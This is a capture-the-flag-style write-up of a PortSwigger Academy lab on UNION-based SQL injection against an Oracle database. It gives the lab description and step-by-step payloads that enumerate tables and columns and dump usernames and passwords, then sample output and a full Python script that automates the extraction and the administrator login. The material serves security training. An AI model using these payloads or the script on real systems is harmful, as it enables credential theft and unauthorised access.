On Oracle, you can obtain the same information with slightly different queries.

You can list tables by querying `all_tables`:

And you can list columns by querying `all_tab_columns`:

This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the `administrator` user.

On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name.

There is a built-in table on Oracle called `dual` which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual`

For more information, see our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

1. Use Burp Suite to intercept and modify the request that sets the product category filter.

2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter:

- `'+UNION+SELECT+'abc','def'+FROM+dual--`

-`' ORDER BY 2--`

- `' UNION SELECT 'test', 'test' FROM dual--`

3. Use the following payload to retrieve the list of tables in the database:

`' UNION SELECT NULL, table_name FROM all_tables--`

4. Find the name of the table containing user credentials.

5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:

`' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_LAHPFP'--`

6. Find the names of the columns containing usernames and passwords.

7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:

`' UNION SELECT USERNAME_BYWSYB, PASSWORD_KBCUUL FROM USERS_LAHPFP--`

8. Find the password for the `administrator` user, and use it to log in.

$ python3 sqli_lab_10.py "https://ac811fe11f1dcc30c0d839f300c60030.web-security-academy.net"

>> SQL injection attack, listing the database contents on Oracle

>> by Port Swigger Academy

[*] Looking for a users table...

[✓] Found the users table name: USERS_BKGSWO

[✓] Found the username column name: USERNAME_JQEWWS

[✓] Found the password column name: PASSWORD_PXBWWI

[✓] The administrator password is: 5g14mfdpotluklcj2in7

[*] Try to login as an Administrator...

[✓] We have logged as an Administrator!

import requests

import sys

import urllib3

from bs4 import BeautifulSoup

import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Interface ():

def __init__ (self):

self.red = '\033[91m'

self.green = '\033[92m'

self.white = '\033[37m'

self.yellow = '\033[93m'

self.bold = '\033[1m'

self.end = '\033[0m'

def header(self):

print('\n >> SQL injection attack, listing the database contents on Oracle')

print(' >> by Port Swigger Academy\n')

def info (self, message):

print(f"[{self.white}*{self.end}] {message}")

def warning (self, message):

print(f"[{self.yellow}!{self.end}] {message}")

def error (self, message):

print(f"[{self.red}x{self.end}] {message}")

def success (self, message):

print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")

global output

output = Interface()

output.header()

proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def perform_request(url, sqli_payload):

path = '/filter?category=Gifts'

r = requests.get(url+path+sqli_payload, verify=False, proxies=proxies)

return r.text

def sqli_users_table(url):

sqli_payload = "' UNION SELECT NULL, table_name FROM all_tables--"

response = perform_request(url, sqli_payload)

soup = BeautifulSoup(response, 'html.parser')

users_table = soup.find(text=re.compile('^USERS\_.*'))

if users_table:

return users_table

else:

return False

def sqli_users_columns(url, users_table):

sqli_payload = "' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = '%s'--" % users_table

response = perform_request(url, sqli_payload)

soup = BeautifulSoup(response, 'html.parser')

username_column = soup.find(text=re.compile('.*USERNAME.*'))

password_column = soup.find(text=re.compile('.*PASSWORD.*'))

return username_column, password_column

def sqli_administrator_cred(url, users_table, username_column, password_column):

sqli_payload = "' UNION SELECT %s, %s FROM %s--" %(username_column, password_column, users_table)

response = perform_request(url, sqli_payload)

soup = BeautifulSoup(response, 'html.parser')

admin_password = soup.body.find(text="administrator").parent.findNext('td').contents[0]

return admin_password

def get_csrf_token(s, url):

path = "/login"

response = s.get(url+path, verify=False, proxies=proxies)

soup = BeautifulSoup(response.text, 'html.parser')

csrf = soup.find("input")['value']

return csrf

def login_as_an_administrator(s, url, admin_password):

csrf = get_csrf_token(s, url)

path = "/login"

data = {"csrf": csrf, "username": "administrator", "password": admin_password}

response = s.post(url+path, data=data, verify=False, proxies=proxies)

if "Log out" in response.text:

return True

else:

return False

if __name__ == "__main__":

try:

url = sys.argv[1].strip()

except IndexError:

output.info("Usage: %s <url>" % sys.argv[0])

output.info("Example: %s wwww.example.com" % sys.argv[0])

sys.exit(-1)

output.info("Looking for a users table...")

users_table = sqli_users_table(url)

if users_table:

output.success("Found the users table name: %s " % users_table)

username_column, password_column = sqli_users_columns(url, users_table)

if username_column and password_column:

output.success("Found the username column name: %s" % username_column)

output.success("Found the password column name: %s" % password_column)

admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)

if admin_password:

output.success("The administrator password is: %s" % admin_password)

output.info("Try to login as an Administrator...")

s = requests.Session()

if login_as_an_administrator(s, url, admin_password):

output.success("We have logged as an Administrator!")

else:

output.error("Did not login as an Administrator")

else:

output.error("Did not find the administrator password.")

else:

output.error("Did not find username and/or password columns.")

else:

output.error("Did not find a users table.")